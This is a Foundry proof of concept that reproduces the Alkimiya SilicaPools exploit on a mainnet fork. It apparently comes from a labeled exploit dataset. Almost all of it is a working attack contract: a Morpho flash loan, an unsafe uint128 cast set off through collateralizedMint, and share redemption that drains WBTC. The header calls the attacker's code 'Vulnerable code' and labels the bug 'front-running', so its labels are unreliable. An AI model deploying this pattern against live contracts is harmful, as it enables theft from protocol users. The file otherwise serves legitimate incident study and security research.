HIGH severity: Alkimiya_io exploit (front-running). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~ 95.5 K (1.14015390 WBTC) Original Attacker : 0xF6ffBa5cbF285824000daC0B9431032169672B6e MEV frontrunner : Yoink(0xFDe0d1575Ed8E06FBf36256bcdfA1F359281455A) Attack Contract : https://etherscan.io/address/0x80bf7db69556d9521c03461978b8fc731

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~ 95.5 K (1.14015390 WBTC)
// Original Attacker : 0xF6ffBa5cbF285824000daC0B9431032169672B6e
// MEV frontrunner : Yoink(0xFDe0d1575Ed8E06FBf36256bcdfA1F359281455A)
// Attack Contract : https://etherscan.io/address/0x80bf7db69556d9521c03461978b8fc731dbbd4e4
// Vulnerable Contract : https://etherscan.io/address/0xf3f84ce038442ae4c4dcb6a8ca8bacd7f28c9bde
// Attack Tx : https://etherscan.io/tx/0x9b9a6dd05526a8a4b40e5e1a74a25df6ecccae6ee7bf045911ad89a1dd3f0814
// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)

// Contracts involved
address constant silicaPools = 0xf3F84cE038442aE4c4dCB6A8Ca8baCd7F28c9bDe;
address constant morpho = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
address constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;

contract Alkimiya_io_exp is Test {
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.createSelectFork("mainnet", 22_146_340 - 1);
    }

    function testPoC() public {
        vm.startPrank(attacker);
        AttackerC attC = new AttackerC();
        
        attC.attack();

        console2.log("Profit:", IFS(WBTC).balanceOf(address(attC)), 'WBTC');
    }
}

contract AttackerC {
    uint256 id;

    function attack() external {
        IFS(WBTC).approve(silicaPools, type(uint256).max);
        IFS(WBTC).approve(morpho, type(uint256).max);
        
        IFS(morpho).flashLoan(
            WBTC, 
            1000000000, 
            ''
        );
    }

    function onMorphoFlashLoan(uint256 assets, bytes calldata data) external {
        IFS(WBTC).transfer(silicaPools, 56125794);

        IFS.PoolParams memory poolParams = IFS.PoolParams(
            41,
            46,
            address(this), // index
            uint48(block.timestamp),
            uint48(block.timestamp),
            WBTC
        );

        IFS(silicaPools).collateralizedMint(
            poolParams,
            bytes32(0),
            uint256(type(uint128).max) + 2, // To trigger the unsafecast `uint128(shares)`
            address(this),
            address(this)
        );

        IFS(silicaPools).safeTransferFrom(
            address(this), 
            address(1),
            id, 
            type(uint128).max,
            ""
        );

        IFS(silicaPools).startPool(poolParams);
        IFS(silicaPools).endPool(poolParams);
        IFS(silicaPools).redeemShort(poolParams);
    }

    function onERC1155Received(
        address operator,
        address from,
        uint256 _id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4) {
        // Only the second id is used, the fist is overwrite
        id = _id;

        return AttackerC.onERC1155Received.selector;
    }

    // Used by index param of PoolParams on collateralizedMint and startPool functions

    function decimals() external returns(uint256) {
        return 31;
    }

    function transferFrom(address from, address to, uint256) external returns(bool) {
        return true;
    }

    function shares() external returns(uint256) {
        return 1;
    }

    function balance() external returns(uint256) {
        return 0;
    }
}

interface IFS is IERC20 {
    // Morpho
    function flashLoan(address token, uint256 assets, bytes calldata data) external;

    // SilicaPools
    struct PoolParams {
        uint128 floor;
        uint128 cap;
        address index;
        uint48 targetStartTimestamp;
        uint48 targetEndTimestamp;
        address payoutToken;
    }

    function collateralizedMint(
        PoolParams calldata poolParams,
        bytes32 orderHash,
        uint256 shares,
        address longRecipient,
        address shortRecipient
    ) external;

    function startPool(PoolParams calldata poolParams) external;
    function endPool(PoolParams calldata poolParams) external;
    function redeemShort(PoolParams calldata shortParams) external;

    function safeTransferFrom(address from, address to, uint256 id, uint256 value, bytes memory data) external;
}



Vulnerability type: front-running